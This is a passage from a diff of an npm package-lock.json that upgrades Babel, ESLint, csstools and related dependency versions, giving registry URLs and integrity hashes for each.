"@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-arrow-functions": "^7.18.6", - "@babel/plugin-transform-async-to-generator": "^7.18.6", - "@babel/plugin-transform-block-scoped-functions": "^7.18.6", - "@babel/plugin-transform-block-scoping": "^7.18.9", - "@babel/plugin-transform-classes": "^7.18.9", - "@babel/plugin-transform-computed-properties": "^7.18.9", - "@babel/plugin-transform-destructuring": "^7.18.9", - "@babel/plugin-transform-dotall-regex": "^7.18.6", - "@babel/plugin-transform-duplicate-keys": "^7.18.9", - "@babel/plugin-transform-exponentiation-operator": "^7.18.6", - "@babel/plugin-transform-for-of": "^7.18.8", - "@babel/plugin-transform-function-name": "^7.18.9", - "@babel/plugin-transform-literals": "^7.18.9", - "@babel/plugin-transform-member-expression-literals": "^7.18.6", - "@babel/plugin-transform-modules-amd": "^7.18.6", - "@babel/plugin-transform-modules-commonjs": "^7.18.6", - "@babel/plugin-transform-modules-systemjs": "^7.18.9", - "@babel/plugin-transform-modules-umd": "^7.18.6", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.18.6", - "@babel/plugin-transform-new-target": "^7.18.6", - "@babel/plugin-transform-object-super": "^7.18.6", - "@babel/plugin-transform-parameters": "^7.18.8", - "@babel/plugin-transform-property-literals": "^7.18.6", - "@babel/plugin-transform-regenerator": "^7.18.6", - "@babel/plugin-transform-reserved-words": "^7.18.6", - "@babel/plugin-transform-shorthand-properties": "^7.18.6", - "@babel/plugin-transform-spread": "^7.18.9", - "@babel/plugin-transform-sticky-regex": "^7.18.6", - "@babel/plugin-transform-template-literals": "^7.18.9", - "@babel/plugin-transform-typeof-symbol": "^7.18.9", - "@babel/plugin-transform-unicode-escapes": "^7.18.10", - "@babel/plugin-transform-unicode-regex": "^7.18.6", - "@babel/preset-modules": "^0.1.5", - "@babel/types": "^7.18.10", - "babel-plugin-polyfill-corejs2": "^0.3.2", - "babel-plugin-polyfill-corejs3": "^0.5.3", - "babel-plugin-polyfill-regenerator": "^0.4.0", - "core-js-compat": "^3.22.1", - "semver": "^6.3.0" + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.28.0.tgz", + "integrity": "sha512-VmaxeGOwuDqzLl5JUkIRM1X2Qu2uKGxHEQWh+cvvbl7JuJRgKGJSfsEF/bUaxFhJl/XAyxBe7q7qSuTbKFuCyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.0", + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.27.1", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.27.1", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.27.1", + "@babel/plugin-syntax-import-attributes": "^7.27.1", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.27.1", + "@babel/plugin-transform-async-generator-functions": "^7.28.0", + "@babel/plugin-transform-async-to-generator": "^7.27.1", + "@babel/plugin-transform-block-scoped-functions": "^7.27.1", + "@babel/plugin-transform-block-scoping": "^7.28.0", + "@babel/plugin-transform-class-properties": "^7.27.1", + "@babel/plugin-transform-class-static-block": "^7.27.1", + "@babel/plugin-transform-classes": "^7.28.0", + "@babel/plugin-transform-computed-properties": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0", + "@babel/plugin-transform-dotall-regex": "^7.27.1", + "@babel/plugin-transform-duplicate-keys": "^7.27.1", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", + "@babel/plugin-transform-dynamic-import": "^7.27.1", + "@babel/plugin-transform-explicit-resource-management": "^7.28.0", + "@babel/plugin-transform-exponentiation-operator": "^7.27.1", + "@babel/plugin-transform-export-namespace-from": "^7.27.1", + "@babel/plugin-transform-for-of": "^7.27.1", + "@babel/plugin-transform-function-name": "^7.27.1", + "@babel/plugin-transform-json-strings": "^7.27.1", + "@babel/plugin-transform-literals": "^7.27.1", + "@babel/plugin-transform-logical-assignment-operators": "^7.27.1", + "@babel/plugin-transform-member-expression-literals": "^7.27.1", + "@babel/plugin-transform-modules-amd": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.27.1", + "@babel/plugin-transform-modules-systemjs": "^7.27.1", + "@babel/plugin-transform-modules-umd": "^7.27.1", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", + "@babel/plugin-transform-new-target": "^7.27.1", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", + "@babel/plugin-transform-numeric-separator": "^7.27.1", + "@babel/plugin-transform-object-rest-spread": "^7.28.0", + "@babel/plugin-transform-object-super": "^7.27.1", + "@babel/plugin-transform-optional-catch-binding": "^7.27.1", + "@babel/plugin-transform-optional-chaining": "^7.27.1", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/plugin-transform-private-methods": "^7.27.1", + "@babel/plugin-transform-private-property-in-object": "^7.27.1", + "@babel/plugin-transform-property-literals": "^7.27.1", + "@babel/plugin-transform-regenerator": "^7.28.0", + "@babel/plugin-transform-regexp-modifiers": "^7.27.1", + "@babel/plugin-transform-reserved-words": "^7.27.1", + "@babel/plugin-transform-shorthand-properties": "^7.27.1", + "@babel/plugin-transform-spread": "^7.27.1", + "@babel/plugin-transform-sticky-regex": "^7.27.1", + "@babel/plugin-transform-template-literals": "^7.27.1", + "@babel/plugin-transform-typeof-symbol": "^7.27.1", + "@babel/plugin-transform-unicode-escapes": "^7.27.1", + "@babel/plugin-transform-unicode-property-regex": "^7.27.1", + "@babel/plugin-transform-unicode-regex": "^7.27.1", + "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.14", + "babel-plugin-polyfill-corejs3": "^0.13.0", + "babel-plugin-polyfill-regenerator": "^0.6.5", + "core-js-compat": "^3.43.0", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -1683,86 +2002,117 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/preset-env/node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.5.tgz", + "integrity": "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "debug": "^4.4.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.22.10" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-env/node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.14.tgz", + "integrity": "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.27.7", + "@babel/helper-define-polyfill-provider": "^0.6.5", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, "node_modules/@babel/preset-env/node_modules/babel-plugin-polyfill-regenerator": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.0.tgz", - "integrity": "sha512-RW1cnryiADFeHmfLS+WW/G431p1PsW5qdRdz0SDRi7TKcUgc7Oh/uXkT7MZ/+tGsT1BkczEAmD5XjUyJ5SWDTw==", + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.5.tgz", + "integrity": "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-define-polyfill-provider": "^0.3.2" + "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "node_modules/@babel/preset-modules": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", - "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.0.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", - "@babel/plugin-transform-dotall-regex": "^7.4.4", "@babel/types": "^7.4.4", "esutils": "^2.0.2" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" } }, "node_modules/@babel/runtime": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.16.0.tgz", - "integrity": "sha512-Nht8L0O8YCktmsDV6FqFue7vQLRx3Hb0B37lS5y0jDRqRxlBG4wIJHnf9/bgSE2UyipKFA01YtS+npRdTWBUyw==", + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.27.0.tgz", + "integrity": "sha512-VtPOkrdPHZsKc/clNqyi9WUA8TINkZ4cGk63UUE3u4pmB2k+ZMQRDuIOagv8UVd6j7k0T3+RRIb7beKTebNbcw==", + "license": "MIT", "dependencies": { - "regenerator-runtime": "^0.13.4" + "regenerator-runtime": "^0.14.0" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/template": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", - "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", + "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.18.6", - "@babel/parser": "^7.18.10", - "@babel/types": "^7.18.10" + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/traverse": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.18.13.tgz", - "integrity": "sha512-N6kt9X1jRMLPxxxPYWi7tgvJRH/rtoU+dbKAPDM44RFHiMH8igdsaSBgFeskhSl/kLWLDUvIh1RXCrTmg0/zvA==", - "dependencies": { - "@babel/code-frame": "^7.18.6", - "@babel/generator": "^7.18.13", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-split-export-declaration": "^7.18.6", - "@babel/parser": "^7.18.13", - "@babel/types": "^7.18.13", - "debug": "^4.1.0", - "globals": "^11.1.0" + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz", + "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.0", + "debug": "^4.3.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/types": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.18.13.tgz", - "integrity": "sha512-ePqfTihzW0W6XAU+aMw2ykilisStJfDnsejDCXRchCcMJ4O0+8DhPXf2YUbZ6wjBlsEmZwLK/sPweWtu8hcJYQ==", + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", + "license": "MIT", "dependencies": { - "@babel/helper-string-parser": "^7.18.10", - "@babel/helper-validator-identifier": "^7.18.6", - "to-fast-properties": "^2.0.0" + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1774,13 +2124,128 @@ "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", "dev": true }, + "node_modules/@csstools/color-helpers": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.0.2.tgz", + "integrity": "sha512-JqWH1vsgdGcw2RR6VliXXdA0/59LttzlU8UlRT/iUUsEeWfYq8I+K0yhihEUTTHLRm1EXvpsCx3083EU15ecsA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", + "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.0.10.tgz", + "integrity": "sha512-TiJ5Ajr6WRd1r8HSiwJvZBiJOqtH86aHpUjq5aEKWHiII2Qfjqd/HCWKPOW8EP4vcspXbHnXrwIDlu5savQipg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/color-helpers": "^5.0.2", + "@csstools/css-calc": "^2.1.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/@discoveryjs/json-ext": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.5.tgz", - "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.6.3.tgz", + "integrity": "sha512-4B4OijXeVNOPZlYA2oEwWOTkzyltLao+xbotHQeqN++Rv27Y6s818+n2Qkp8q+Fxhn0t/5lA5X1Mxktud8eayQ==", "dev": true, "engines": { - "node": ">=10.0.0" + "node": ">=14.17.0" } }, "node_modules/@emotion/is-prop-valid": { @@ -1806,24 +2271,92 @@ "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==" }, - "node_modules/@eslint/eslintrc": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.1.tgz", - "integrity": "sha512-OhSY22oQQdw3zgPOOwdoj01l/Dzl1Z+xyUP33tkSN+aqyEhymJCcPHyXt+ylW8FSe0TfRC2VG+ROQOapD0aZSQ==", + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz", + "integrity": "sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==", "dev": true, + "license": "MIT", "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^9.4.0", - "globals": "^13.15.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz", + "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.0.tgz", + "integrity": "sha512-ENIdc4iLu0d93HeYirvKmrzshzofPw6VkZRKQGe9Nv46ZnWUzcF1xV01dcvEg/1wXUR61OmmlSfyeyO7EvjLxQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^2.1.6", + "debug": "^4.3.1", + "minimatch": "^3.1.2" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.3.0.tgz", + "integrity": "sha512-ViuymvFmcJi04qdZeDc2whTHryouGcDlaxPqarTD0ZE10ISpxGUVZGZDx4w01upyIynL3iu6IXH2bS1NhclQMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/core": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.14.0.tgz", + "integrity": "sha512-qIbV0/JZr7iSDjqAc60IqbLdsj9GDt16xQtWD+B78d/HAlvysGdZZ6rpJHGAc2T0FQx1X6thsSPdnoiGKdNtdg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz", + "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^10.0.1", + "globals": "^14.0.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" }, "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" }, "funding": { "url": "https://opencollective.com/eslint" @@ -1833,18 +2366,17 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true + "dev": true, + "license": "Python-2.0" }, "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "13.17.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz", - "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==", + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", + "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, - "dependencies": { - "type-fest": "^0.20.2" - }, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">=18" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" @@ -1855,6 +2387,7 @@ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", "dev": true, + "license": "MIT", "dependencies": { "argparse": "^2.0.1" }, @@ -1862,864 +2395,572 @@ "js-yaml": "bin/js-yaml.js" } }, - "node_modules/@eslint/eslintrc/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "node_modules/@eslint/js": { + "version": "9.30.1", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.30.1.tgz", + "integrity": "sha512-zXhuECFlyep42KZUhWjfvsmXGX39W8K8LFb8AWXM9gSV9dQB+MrJGLKvW6Zw0Ggnbpw0VHTtrhFXYe3Gym18jg==", "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, + "license": "MIT", "engines": { - "node": "*" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://eslint.org/donate" } }, - "node_modules/@eslint/eslintrc/node_modules/type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "node_modules/@eslint/object-schema": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.6.tgz", + "integrity": "sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==", "dev": true, + "license": "Apache-2.0", "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" } }, - "node_modules/@ethereumjs/common": { - "version": "2.6.5", - "resolved": "https://registry.npmjs.org/@ethereumjs/common/-/common-2.6.5.tgz", - "integrity": "sha512-lRyVQOeCDaIVtgfbowla32pzeDv2Obr8oR8Put5RdUBNRGr1VGPGQNGP6elWIpgK3YdpzqTOh4GyUGOureVeeA==", + "node_modules/@eslint/plugin-kit": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.3.1.tgz", + "integrity": "sha512-0J+zgWxHN+xXONWIyPWKFMgVuJoZuGiIFu8yxk7RJjxkzpGmyja5wRFqZIVtjDVOQpV+Rw0iOAjYPE2eQyjr0w==", + "dev": true, + "license": "Apache-2.0", "dependencies": { - "crc-32": "^1.2.0", - "ethereumjs-util": "^7.1.5" + "@eslint/core": "^0.14.0", + "levn": "^0.4.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" } }, - "node_modules/@ethereumjs/tx": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/@ethereumjs/tx/-/tx-3.5.2.tgz", - "integrity": "sha512-gQDNJWKrSDGu2w7w0PzVXVBNMzb7wwdDOmOqczmhNjqFxFuIbhVJDwiGEnxFNC2/b8ifcZzY7MLcluizohRzNw==", - "dependencies": { - "@ethereumjs/common": "^2.6.4", - "ethereumjs-util": "^7.1.5" + "node_modules/@ethereumjs/rlp": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@ethereumjs/rlp/-/rlp-4.0.1.tgz", + "integrity": "sha512-tqsQiBQDQdmPWE1xkkBq4rlSW5QZpLOUJ5RJh2/9fug+q9tnUhuZoVLk7s0scUIKTOzEtR72DFBXI4WiZcMpvw==", + "bin": { + "rlp": "bin/rlp" + }, + "engines": { + "node": ">=14" } }, - "node_modules/@ethersproject/abi": { - "version": "5.6.4", - "resolved": "https://registry.npmjs.org/@ethersproject/abi/-/abi-5.6.4.tgz", - "integrity": "sha512-TTeZUlCeIHG6527/2goZA6gW5F8Emoc7MrZDC7hhP84aRGvW3TEdTnZR08Ls88YXM1m2SuK42Osw/jSi3uO8gg==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/address": "^5.6.1", - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/constants": "^5.6.1", - "@ethersproject/hash": "^5.6.1", - "@ethersproject/keccak256": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/strings": "^5.6.1" - } - }, - "node_modules/@ethersproject/abstract-provider": { - "version": "5.6.1", - "resolved": "https://registry.npmjs.org/@ethersproject/abstract-provider/-/abstract-provider-5.6.1.tgz", - "integrity": "sha512-BxlIgogYJtp1FS8Muvj8YfdClk3unZH0vRMVX791Z9INBNT/kuACZ9GzaY1Y4yFq+YSy6/w4gzj3HCRKrK9hsQ==", - "funding": [ - { - "type": "individual", - "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2" - }, - { - "type": "individual", - "url": "https://www.buymeacoffee.com/ricmoo" - } - ], - "dependencies": { - "@ethersproject/bignumber": "^5.6.2", - "@ethersproject/bytes": "^5.6.1", - "@ethersproject/logger": "^5.6.0", - "@ethersproject/networks": "^5.6.3", - "@ethersproject/properties": "^5.6.0", - "@ethersproject/transactions": "^5.6.2", - "@ethersproject/web": "^5.6.1" + "node_modules/@fortawesome/fontawesome-free": { + "version": "6.7.2", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-free/-/fontawesome-free-6.7.2.tgz", + "integrity": 